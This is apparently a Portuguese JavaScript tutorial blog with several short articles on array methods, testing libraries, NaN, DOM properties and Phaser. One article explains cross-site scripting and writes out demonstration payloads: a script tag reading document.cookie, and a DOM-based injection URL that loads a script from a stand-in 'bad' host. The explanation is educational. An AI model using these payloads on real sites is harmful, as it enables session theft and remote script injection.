Array Methods: Conheça os métodos de vetores.

Neste artigo, irei mostrar alguns dos métodos para manipulação de vetores mais utilizados no JavaScript. Existem outros métodos que serão abordados em próximos artigos.

concat():

Une dois ou mais vetores e retorna uma cópia dos vetores unidos.

Sintaxe:
0045vetor1.concat(vetor2, vetor3, ..., vetorX);
Exemplo:
let meninas = ["Cecilia", "Luana"];
let meninos = ["Emilio", "Tobias", "Leonardo"];
let adulto = ["Roberta"];
let pessoas = meninas.concat(meninos, adulto); 
console.log(pessoas);

copyWithin():

Copia elementos do vetor dentro do vetor, para e de posições especificadas. Este método nunca adicionará mais itens ao vetor. Importante: este método sobrescreve o vetor original.

Sintaxe:
vetor.copyWithin(alvo, inicio, fim);
Exemplo:
let fruits = ["Banana", "Orange", "Apple", "Mango", "Kiwi", "Papaya"];
fruits.copyWithin(2,0,2);
// ["Banana", "Orange", "Banana", "Orange", "Kiwi", "Papaya"]

entries():

Retorna um objeto Array Iterator com pares de chave/valor. Para cada item no vetor original, o novo objeto de iteração conterá um vetor com o índice como chave e o valor do item como valor.

Sintaxe:
vetor.entries();
Exemplo:
let fruits = ["Banana", "Orange", "Apple", "Mango"];
let f = fruits.entries();
for (x of f) {
    console.log(x);
}
// [0, "Banana"]
// [1, "Orange"]
// [2, "Apple"]
// [3, "Mango"]

filter():

Cria um novo vetor com todos os elementos de um vetor que passam no teste.

Sintaxe:
vetor.filter( function(valorAtual, index, vet), thisValue);
Onde:
  • function(valorAtual, index, vet): é uma função que irá ser executada para cada elemento no vetor. Possui os argumentos: valorAtual, index e vet.
  • thisValue: um parâmetro opcional. É Um valor a ser passado para a função a ser usado como seu valor “this”. Se este parâmetro estiver vazio, o valor “undefined” será passado como seu valor “this”.
Exemplo:
let idades = [32, 33, 16, 40];
function verificaAdulto(idade) {
  return idade >= 18;
}
console.log(idades.filter(verificaAdulto));
// [32, 33, 40]

map():

O método map() cria um novo vetor com os resultados da chamada de uma função para cada elemento do vetor. Ele chama a função fornecida uma vezpara cada elemento em um vetor, em ordem.

Sintaxe:
vetor.map(function(function(valorAtual, index, vet), thisValue);
Onde:
  • function(valorAtual, index, vet): Uma função a ser executada para cada elemento na matriz. Argumentos de função: valorAtual, index, vet.
  • thisValue: um parâmetro opcional. É Um valor a ser passado para a função a ser usado como seu valor “this”. Se este parâmetro estiver vazio, o valor “undefined” será passado como seu valor “this”.
Exemplo:
let numbers = [4, 9, 16, 25];
console.log(numbers.map(Math.sqrt));
// [2, 3, 4, 5]

sort():

O método sort() classifica os itens de um vetor. A ordem de classificação pode ser alfabética, numérica e crescente ou decrescente. Por padrão, o sort() classifica os valores por ordem alfabética e crescente. Isso funciona bem para sequencias de caracteres. No entanto, se os números forem classificados como sequencias de caracteres, “25” será maior que “100”, porque “2” será maior que “1”. Por esse motivo, o método sort() produzirá um resultado incorreto ao classificar números.

Sintaxe:
vetor.sort(funcaoComparacao);
Onde:
  • funcaoComparacao: Opcional, é uma função que define uma ordem de classificação alternativa. Esta função deverá retornar um valor negativo, zero, ou positivo, dependendo dos argumentos, como:

function (a, b) {return a-b}.

Quando comparamos 40 e 100, o método sort() chama a função de comparação function(40, 100). A função irá calcular 40 – 100 e retornará -60 (um valor negativo). A função sort lerá que 40 é um valor menor que 100.

Exemplo:
let fruits = ["Banana", "Orange", "Apple", "Mango"];
console.log(fruits.sort());
// ["Apple", "Banana", "Mango", "Orange"]

reduce():

O método reduce() reduz o vetor para um único valor; Ele executa uma função fornecida para cada valor do vetor (da esquerda para a direita). O valor de retorno da função é armazenado em um acumulador (resultado / total).

Sintaxe:
vetor.reduce(function(total, valorAtual, indiceAtual, vet), valorInicial);
Onde:
  • function(total, valorAtual, indiceAtual, vet): É uma função a ser executada para cada elemento no vetor.
  • valorInicial: Opcional, um valor a ser passado para a função como o valor inicial.
Exemplo:
let numbers = [175, 50, 25];
function myFunc(total, num) {
  return total - num;
}
console.log(numbers.reduce(myFunc));
// 100

join():

O método join() retorna o vetor como uma sequência. Os elementos serão separados por um separador especificado. O separador padrão é a vírgula (,). Este método não altera o vetor original.

Sintaxe:
vetor.join(separador);

O separador pode ser omitido, e será usado por padrão a vírgula (,).

Exemplo:
let fruits = ["Banana", "Orange", "Apple", "Mango"];
console.log(fruits.join(" and "));
// Banana and Orange and Apple and Mango

slice()

O método slice() retorna os elementos selecionados em um vetor, como um novo objeto de vetor. Seleciona os elementos que começam no argumento inicial especificado e terminam no, mas não incluem, o argumento final especificado.

Sintaxe:
vetor.slice(inicio, fim);
let fruits = ["Banana", "Orange", "Lemon", "Apple", "Mango"];
let citrus = fruits.slice(1, 3);
console.log(citrus);
// ["Orange", "Lemon"]

Gostou deste artigo? Comente abaixo outros métodos de vetores JavaScript!

Conheça a CryptoCoinJS, uma biblioteca JavaScript para Criptomoedas.

CryptoCoinJS é um projeto JavaScript que ajuda você a interagir com diversas criptomoedas existentes na atualidade, como o famoso Bitcoin, Litecoin, Dogecoin, entre muitas outras. A maioria dos módulos é totalmente compatível com o seu navegador e com o Node.js. Naturalmente, os módulos que fazem interface diretamente com os nós de pares não serão executados no navegador.

Princípios da biblioteca:

Acreditando na filosofia Node.js e UNIX – a idéia de criar pequenos componentes que fazem uma coisa e fazem bem. Escrever software dessa maneira permite que os indivíduos usem e contribuam com muito mais eficácia do que escrevendo uma biblioteca monolítica. O CryptoCoinJS acredita que as pessoas são mais importantes que o código e, portanto, é fundamental escrever um código que seja fácil de ler, fácil de documentar cada módulo com a API e exemplos, e esse código é o inimigo 1 2.

Escrever testes é uma das melhores maneiras de comunicar expectativas entre desenvolvedores. Se a documentação é uma maneira de se comunicar para o consumidor do seu módulo, os testes são uma maneira de se comunicar entre os desenvolvedores.

Plataformas:

O CryptoCoinJS está focado no Node.js e no navegador usando o Browserify. Não há suporte a navegadores herdados, ou seja, se o seu navegador não suporta ECMAScript 5 (2009 – 2010) e não suporta window.crypto.getRandomValues​​(), alguns dos módulos podem não funcionar.

Começando:

O CryptoCoinJS é escrito em JavaScript puro e pode ser usado no servidor (Node.js) e no cliente (navegador moderno> 2010).

A primeira e provavelmente a mais óbvia é que você precisará de um editor de texto. Sublime Text , Github Atom ou Vim farão uma boa escolha.

O Node.js é executado no Windows, Mac OS X ou Linux. É muito fácil de instalar, basta acessar nodejs.org/download e executar o instalador para sua plataforma de escolha. O Node.js agrupa o npm que, estranhamente, não representa o Node.j Package Manager, apesar de ser seu único objetivo.

Continue lendo “Conheça a CryptoCoinJS, uma biblioteca JavaScript para Criptomoedas.”

QUnit.js: um framework para testes de unidade JavaScript.

Você sabe o que é o QUnit?

O QUnit é um framework para testes de unidade JavaScript poderoso e fácil de usar. É utilizado para testes em projetos jQuery, jQuery UI e jQuery Mobile e é capaz de testar qualquer código JavaScript genérico.

O QUnit foi originalmente desenvolvido por John Resig como parte do jQuery. Em 2008, ele recebeu sua própria home page, nome e documentação da API, permitindo que outras pessoas a utilizem para os testes. Anteriormente, o QUnit ainda dependia de jQuery, mas em 2009 isto foi corrigido, e agora o QUnit é executado de forma completamente autônoma. Os métodos de asserção do QUnit seguem a especificação CommonJS Unit Testing, que foi até certo ponto influenciada pelo QUnit.

Como começar?

Uma configuração mínima para um teste do QUnit:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>QUnit Example</title>
  <link rel="stylesheet" href="https://code.jquery.com/qunit/qunit-2.9.2.css">
</head>
<body>
  <div id="qunit"></div>
  <div id="qunit-fixture"></div>
  <script src="https://code.jquery.com/qunit/qunit-2.9.2.js"></script>
  <script src="tests.js"></script>
</body>
</html>

E o conteúdo do tests.js:

QUnit.test( "hello test", function( assert ) {
  assert.ok( 1 == "1", "Passed!" );
});

No node:

Instale o QUnit globalmente para poder usar o CLI:

$ npm install -g qunit

Crie arquivos de teste em um test directory e execute:

$ qunit

Você deve ver algo como:

TAP version 13
ok 1 Module > Test #1
ok 2 Module > Test #2
1..2
# pass 2
# skip 0
# todo 0
# fail 0

E é isso! Enquanto o QUnit procura por arquivos de teste “test”, você também pode coloca-los em qualquer lugar e, em seguida, especificar caminhos de arquivo ou expressões glob:

$ qunit 'tests/*-test.js'

Para ver as opções adicionais suportadas, basta executar:

$ qunit --help

No npm:

npm install --save-dev qunit

Para testar os recursos mais recentes e correções de bugs no QUnit, uma versão gerada automaticamente a partir do último commit para o repositório QUnit Git também está disponível para uso:

Para mais informações sobre o framework, acesse o site principal do QUnit no link: qunitjs.com/

Gostou deste artigo? Comente abaixo!

Como fazer: Relógio com JavaScript

Aprenda neste artigo como fazer um relógio mostrando a sua hora atual, atualizando em tempo real as horas, minutos e segundos.

Date():

Objetos Date() são baseados no valor de tempo que é o número em milissegundos desde 1º de Janeiro de 1970 (UTC).  O UTC (Também conhecido como Greenwich Mean Time, GMT), refere-se ao tempo como definido pelo Padrão de Tempo Mundial (World Time Standard). O Objeto Date também suporta métodos de tempos locais. O tempo local é o tempo conhecido pelo computador onde o JavaScript é executado.

Neste nosso exemplo, criaremos uma função que irá retornar o tempo de nossa máquina.

Vamos ao código:

Primeiro, criaremos uma tag h3 que irá receber os valores de nossa função. Esta tag mostrará as horas, os minutos e os segundos.

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Relógio</title>
</head>
<body>
    <h3 id="hora"></h3>
    <script>
    </script>
</body>
</html>

Criado este campo de input, iremos criar uma função setInterval. Esta função irá executar uma função anônima que, utilizando o método Date(), getHours(), getMinutes(), retornará as horas, minutos e segundos atuais diretamente para a página HTML, utilizando o textContent.

setInterval(function(){
    
    let novaHora = new Date();
    // getHours trará a hora
    // geMinutes trará os minutos
    // getSeconds trará os segundos
    let hora = novaHora.getHours();
    let minuto = novaHora.getMinutes();
    let segundo = novaHora.getSeconds();

    // Chamamos a função zero para que ela retorne a concatenação
    // com os minutos e segundos
    minuto = zero(minuto);
    segundo = zero(segundo);

    // Com o textContent, iremos inserir as horas, minutos e segundos
    // no nosso elemento HTML
    document.getElementById('hora').textContent = hora+':'+minuto+':'+segundo;
},1000)

Para mostrar as horas no formato padrão (00:00:00), criaremos uma função denominada zero(x) que retornará uma concatenação de um ‘0’ em frente à X, com a condição de x ser menor que 10.

// A function zero concatena a string (número) 0 em frente aos números
// mantendo o zero na frente dos números menores que 10. Exemplo:
// 21:05:01
// 21:05:02
// e assim, sucessivamente
function zero(x) {
    if (x < 10) {
        x = '0' + x;
    } return x;
}

Gostou deste artigo? Deixe seu comentário abaixo!

Como remover Elementos de um Array JavaScript alterando o length

Em JavaScript, os Arrays permitem agrupar valores e iterar sobre eles. Você pode adicionar e remover elementos destes vetores de várias maneiras diferentes.

Ao invés de um método de exclusão, o Array JavaScript possui várias maneiras de limpar os valores do vetor. Você pode remover os elementos do final de um Array usando pop(), no início usando shift(), ou no meio usando splice().

Removendo elementos do final de um Array utilizando o length:

Os elementos de um Array JavaScript podem ser removidos do final de um vetor, definindo a propriedade length (tamanho do array) como um valor menor que o valor atual. Qualquer elemento que possuir o índice maior que o estipulado no novo length, será removido.

// Definindo o vetor de tamanho 6 (a partir do índice 0)
let array1 = [1, 2, 3, 4, 5, 6];
array1.length = 4; // Alterando o tamanho (length) do array
console.log(array1); // [1, 2, 3, 4] vetor alterado

Removendo elementos do início de um Array utilizando o shift():

Para remover o primeiro elemento de um Array no JavaScript, podemos utilizar o método shift(). Ele funciona de forma muito parecida com o método pop(), com a diferença que o pop() remove o último elemento, e o shift() remove o primeiro elemento do vetor. Não é necessário passar parâmetros neste método, pois o shift() irá remover apenas o primeiro elemento do vetor. Os outros elementos restantes serão realocados para seus novos índices. O elemento que estava no índice 1, será realocado para o índice 0, e assim, sucessivamente.

// Criando um vetor com 4 elementos
let array2 = ['Ana', 'Marcos', 'Paulo', 'Alexandre'];
array2.shift(); // Removerá o primeiro elemento do vetor: 'Ana'
console.log(array2); // ['Marcos', 'Paulo', 'Alexandre']

O shift() retorna o elemento que foi removido, atualiza os índices e atualiza o length do Array. Se não houver elementos ou o comprimento da matriz for 0, o método retornará undefined.

Removendo elementos do meio do Array utilizando o splice():

O método splice() é utilizado para remover elementos de determinados índices de um vetor. Será necessário passar dois parâmetros neste método. O primeiro, especifica o índice que será removido. O segundo, especifica quantos elementos a partir deste índice serão removidos.

// Criando um vetor com os elementos 
let array3 = [1, 2, 3, 4, 5, 6, 7, 8, 9];
// Crie uma variável para adicionar o método slice()
// Passe como argumentos a partir de qual índice será removido, e quantos elementos serão removidos
let remover = array3.splice(3, 3);
console.log(array3); // [1, 2, 3, 7, 8, 9]

Gostou deste artigo? Tire suas dúvidas abaixo na sessão de comentários!

Diferenças entre React Native e React JS

Nos últimos anos, o React Native tornou-se um framework interessante e muito usado para Android e outras aplicações móveis de plataforma cruzada. Foi também customizado por alguns dos contribuidores para criação de aplicativos para desktop, como Mac e Windows.
Ainda há alguma confusão entre React Native e ReactJS. Embora sejam semelhantes de certa forma, existem grandes diferenças entre os dois.

Por que escolher o React?

Gerenciado pelo Facebook, Instagram e uma grande comunidade de empresas e desenvolvedores, o React é um dos frameworks mais procurados. De acordo com a análise JavaScript, o React está sendo utilizado em sites como Walmart, Netflix, Airbnb e Feedly.
Ele oferece websites com alto desempenho e escalabilidade. Reac garante até reusabilidade de código, permitindo aos desenvolvedores otimizar seu tempo na criação de códigos. Também otimiza o SEO da sua aplicação web. Embora o conceito de React ainda seja novo, ele está amadurecendo rapidamente, e o Facebook planeja continuar investindo nele.

As diferenças:

React Native é um framework para desenvolvimento mobile que reúne todos os componentes de um aplicativo nativo, auxiliando você a criar os aplicativos móveis nativos para Android, Windows e iOS em JavaScript. Isso permite que o usuário utilize o React JS para construir os componentes. Ele tem bibliotecas embutidas e seu navegador de bibliotecas auxilia na navegação de aplicativos móveis.

O React JS, também conhecido como React.js, é outro framework usado em desenvolvimento de interfaces de usuário para aplicativos da web. Para navegar pelas páginas da web, ele faz uso do React Router. Também faz uso de bibliotecas JavaScript e CSS para fins de animação.

Saber as diferenças básicas entre React Native e React JS não é o suficiente. Você também deve conhecer os prós de cada framework para se aprofundar neles.

React Native Prós:

É um dos frameworks JavaScript de mais rápido crescimento, que é como uma varinha mágica para os desenvolvedores. Se você for iniciante no desenvolvimento de aplicativos , precisará apenas conhecer alguns elementos de UI, JavaScript, APIs de plataforma ou quaisquer outros padrões de design específicos da plataforma.

Continue lendo “Diferenças entre React Native e React JS”

NaN e typeof.

Uma análise da propriedade NaN e por que ela é considerada um tipo de número.

typeof NaN
//'number'

Primeiramente, NaN é uma propriedado do objeto global, e não uma palavra-chave (diferente de true, false, null, entre outros). O valor de NaN é o mesmo que o valor de Number.NaN:

NaN; // NaN
Number.NaN; // NaN

Existem várias formas em que o NaN pode acontecer:

  • Divisão de zero por zero;
  • Dividindo um infinito por um infinito;
  • Multiplicação de um infinito por um zero;
  • Qualquer operação na qual NaN é um operando;
  • Convertendo uma String não numérica ou indefinida em um número.

Por que o tipo NaN retorna “number”?

typeof NaN; // "number"

O padrão ECMAScript indica que os números devem ser dados de ponto flutuante IEEE-754. Isso inclui Infinity, -Infinity e também, NaN. Por definição, NaN é o valor de retorno de operações que possuem um resultado numérico indefinido. Daí porque, em JavaScript, além de fazer parte do objeto global, também faz parte do objeto Number: Number.NaN.

Ainda é um tipo de dados numérico, mas é indefinido como um número real. O NaN também representa qualquer número fora do domínio de definição do ECMAScript.

A aritmética computacional é limitada:

Considere a seguinte operação:

(3.2317006071311 * 10e616) / (3.2317006071311 * 10e616); // NaN
Como a Wikipedia declara:

“A aritmética computacional não pode operar diretamente em números reais, mas apenas em um subconjunto finito de números racionais, limitado pelo número de bits usados para armazená-los.”

Na aritmética ordinária, 3,2317006071311 * 10616 é um número real finito, mas, pelos padrões ECMAScript, é simplesmente muito grande (ou seja, consideravelmente maior que Number.MAX_VALUE) e, portanto, é representado como Infinity.

A tentativa de dividir Infinity por Infinity produzirá NaN. Na aritmética comum, ambos são operandos finitos, a operação claramente é igual a 1. Neste caso, o NaN está no lugar de um numero real que não pôde ser computado devido ao tamanho dos operandos. Pareceria contra-intuitivo se os tipos NaN retornassem algo diferente de “número”. Afinal, no exemplo dado, NaN simplesmente representa um valor que não pôde ser determinado pela aritmética computacional.

NaN é desordenado:

De acordo com o padrão de ponto flutuante IEEE 754, a comparação com NaN sempre retorna um resultado não ordenado. Ou seja, NaN não é igual a, maior que ou menor que qualquer coisa, incluindo ele mesmo:

NaN < 1;    // false
NaN > 1;    // false
NaN == NaN; // false
// Mas ainda podemos verificar por NaN:
isNaN(NaN); // true

É por isso que você não pode determinar se um dado valor é NaN comparando-o com NaN e, em vez disso, deve usar a função isNaN().

Não surpreende, portanto, que a implementação nativa da função isNaN() possa ser simplesmente substituída por:

// Implementacao Nativa
function isNaN(x) {
  x = Number(x);
  // se x é NaN, NaN! = NaN é verdadeiro, senão é falso
  return x != x;
}

A implementação nativa de isNaN() retorna true mesmo se o valor for indefinido ou se o valor não puder ser coagido em um tipo de dados de número primitivo. Existem algumas bibliotecas que apresentam as suas próprias implementações. Por exemplo, a do Underscore é a seguinte:

_.isNaN = function(obj) {
  // `NaN` é o único valor para o qual` === `não é reflexivo.
  return obj !== obj;
};

Mas, seu comportamento não é o mesmo que a função isNaN() nativa:

let x;            // undefined
isNaN(x);         // true
isNaN(undefined); // true
isNaN("a");       // true
Comparado ao Underscore:
let x;              // undefined
_.isNaN(x);         // false
_.isNaN(undefined); // false
_.isNaN("a");       // false

Booleanos não são NaNs:

Considerando o código a seguir:

isNaN(true);  // false
isNaN(false); // false

Isso ocorre porque os valores booleanos são considerados e implementados como valores numéricos com um único dígito binário (ou seja, bit), portanto, eles são coagidos em suas respectivas representações de bits:

Number(true);  // 1
Number(false); // 0

Gostou deste artigo? Comente abaixo!

Cross-Site Scripting (XSS), você sabe o que é?

O cross-site scripting (XSS) é um ataque de injeção de código que permite que um invasor execute códigos JavaScript mal-intencionados no navegador da vítima.

O atacante explora uma vulnerabilidade em algum site que a vítima visita, com o objetivo de inserir código JavaScript malicioso no navegador. Para que o ataque possa ocorrer é necessário um formulário que permita que o atacante interaja, como campos de busca, inserção de comentários, entre outros campos de preenchimento. A única maneira de o invasor inserir e executar o JavaScript no navegador da vítima é injetá-lo diretamente em uma das áginas que o usuário baixa do site. Isso acontece se o site inclui diretamente a entrada do usuário em suas páginas e o invasor pode inserir uma string que será tratada como código pelo navegador da vítima.

Existem três tipos de Cross-Site Script, são eles:

Reflected XSS:

Nesta vulnerabilidade, a exploração envolve a elaboração de uma solicitação com código a ser inserido embutido e refletido para o usuário alvo que faz a solicitação. Neste ataque, um campo de busca, por exemplo, pode ser utilizado para injetar o código malicioso. O código HTML inserido é entregue pela aplicação e devolvido como parte integrante do código de resposta, permitindo que seja executado de maneira arbitrária pelo navegador do próprio usuário.

Exemplo:

http://www.vul.site/bemvindo.html?name=ciclano

echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';

Considere que um usuário mal intencionado altere o atalho para incluir um código arbitrário a ser executado no navegador do usuário alvo:

http://www.example.com/bemvindo.html?name=<script>alert(document.cookie)</script>

Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo.

Stored XSS:

Exige que o usuário mal intencionado possua uma forma de escrever dados diretamente na página, como por exemplo campos de comentários, campos de preenchimento, entre outros. É muito perigoso, pois mantém os dados armazenados permanentemente na página, fazendo com que todos os usuários que visitem esa área específica executem o script malicioso sempre que a acessem.

Exemplo:

Caso um site permita a inserção de código HTML integralmente nos campos de entrada do nome e sobrenome no formulário para atualização das preferências do usuário:

<script>alert(document.cookie)</script>

Nesta forma, quando for executada uma busca pelos usuários cadastrados, o código HTML acima será executado assim que o usuário aparecer na relação dos resultados de busca.

DOM Based:

Este ataque permite a modificação de propriedades dos objetos do DOM diretamente no navegador da vítima. Não depende de nenhuma interação por parte do servidor que hospeda a página web. Utiliza-se diretamente de vulnerabilidades existentes na interpretação do código HTML no navegador.

Exemplo:

<script>
let estilo = ‘style’ + location.hash + ‘.css’;
document.write(‘<link rel="stylesheet" type="text/css" href=”’ + estilo + ’" />’);
</script>

Agora, como exemplo, um link construído de maneira a carreggar um código arbitrário, conforme exemplo abaixo:

http://vitima.com/teste.html#><script src=”http://bad/bad.js”></script>

Quando a vítima executar no navegador, a referência será utilizada para inserir um script mal-intencionado na página web.

Referências: https://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/

Gostou deste artigo? Deixe seu comentário abaixo!

Diferenças entre innerHTML, innerText e textContent.

Você conhece a diferença entre innerText, textContent e innerHTML?

São utilizados na manipulação do DOM (Document Object Model). Cada uma destas propriedades retorna algo, e descobriremos o que elas retornam neste artigo.

Diferenças:

Utilizando o exemplo a seguir, criaremos as propriedades:

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Exemplo innerHTML, innerText e textContent</title>
</head>
<body>
    <!-- Criando um parágrafo com formatação CSS inline nos textos -->
    <p id="textoHtml">
        <span style="display: none">Hakuna</span><strong>Matata</strong>
        <span style="visibility: hidden;">Mundo</span>
        <span>JS</span>
    </p>

    <script src="main.js"></script>
</body>
</html>

innerHTML:

Utilizado na manipulação do DOM, o innerHTML retorna todo o texto e o html que existem no elemento. Ele retorna todo o html existente, retornando também às tags, e não somente o texto.

// Criando uma variável que irá buscar o elemento HTML pelo Id
let exemploInner = document.getElementById("textoHtml");
        
console.log("------ USANDO innerHTML ------");
console.log(exemploInner.innerHTML);

Importante:

O innerHTML pode ser usado para inserção de tags, textos e imagens em uma página web, gerando um risco de segurança. Parecido com um cross-site scripting, mas inofensivo, pois o HTML5 especifica que uma tag <script> inserida via innerHTML em uma página web não deve ser executada. Entretanto, existem formas de executar JavaScript sem usar <script>, portanto, ainda há um risco de segurança ao utilizar o innerHTML. Por esta razão, recomenda-se não utilizar o innerHTML para inserção de texto puro.

innerText:

Já o innerText retorna apenas o texto. Ele ignora todas as tags HTML que estão dentro do elemento, mas ainda assim, “entende” o css do elemento, retornando apenas textos visíveis. Utiliza-se quando queremos buscar apenas o texto visível disponível no elemento.

console.log("------ USANDO innerText ------");
console.log(exemploInner.innerText);

textContent:

O textContent funciona de forma muito semelhante ao innerText, porém, retornando todo o conteúdo de texto, incluindo o texto oculto pelo css, bem como as quebras de linha (\n). Utilizamos o textContent quando queremos buscar todo o texto disponível no elemento.

console.log("------ USANDO textContent ------");
console.log(exemploInner.textContent);

Gostou deste artigo? Compartilhe com seus amigos e comente abaixo!

Conheça o Phaser.JS, uma biblioteca de criação de jogos JavaScript

Você conhece a biblioteca Phaser.JS para criação de jogos em JavaScript?

Phaser é uma biblioteca para criação de jogos que foi idealizada pela Photon Storm. Com ela, podemos criar jogos que rodam tanto em ambiente mobile quanto desktops. Ela roda nos principais navegadores atuais de desktop. Em dispositivos móveis, é suportado no Chrome mobile, no navegador Safari (no IOS5 para cima). Acesse a biblioteca: phaser.io

Principais recursos:

O Phaser não utiliza nenhuma prática interna de orientação a objeto, não possui heranças de código e componentes. Mas você pode alterar as funções do Phaser.

Para renderização de gráficos, o Phaser utiliza o Pixi.js. Nos jogos, se o navegador suportar WebGL, o usuário terá uma melhor experiência. Os jogos em HTML5 caminham para o futuro de WebGL disponível em dispositivos móveis. Para isso acontecer, é apenas uma questão de tempo.

O carregamento do Phaser suporta:

  1. Imagens;

  2. Sprite Sheets;

  3. Texture Atlases;

  4. Arquivos de áudio;

  5. Arquivos de dados;

  6. Arquivos JavaScript;

  7. Tilemaps;

  8. Fontes Bitmap.

Áudio:

Com a WebAudio API, podemos ter uma integração apropriada de áudio, com múltiplas rotas, canais e os mais variados tipos de efeitos.

Inputs:

Multi-Touch, Keyboard, Pointer e Mouse: O Phaser suporta os mais variados tipos de inputs, como toques na tela, cliques de mouse, teclas pressionadas, entre outros.

Continue lendo “Conheça o Phaser.JS, uma biblioteca de criação de jogos JavaScript”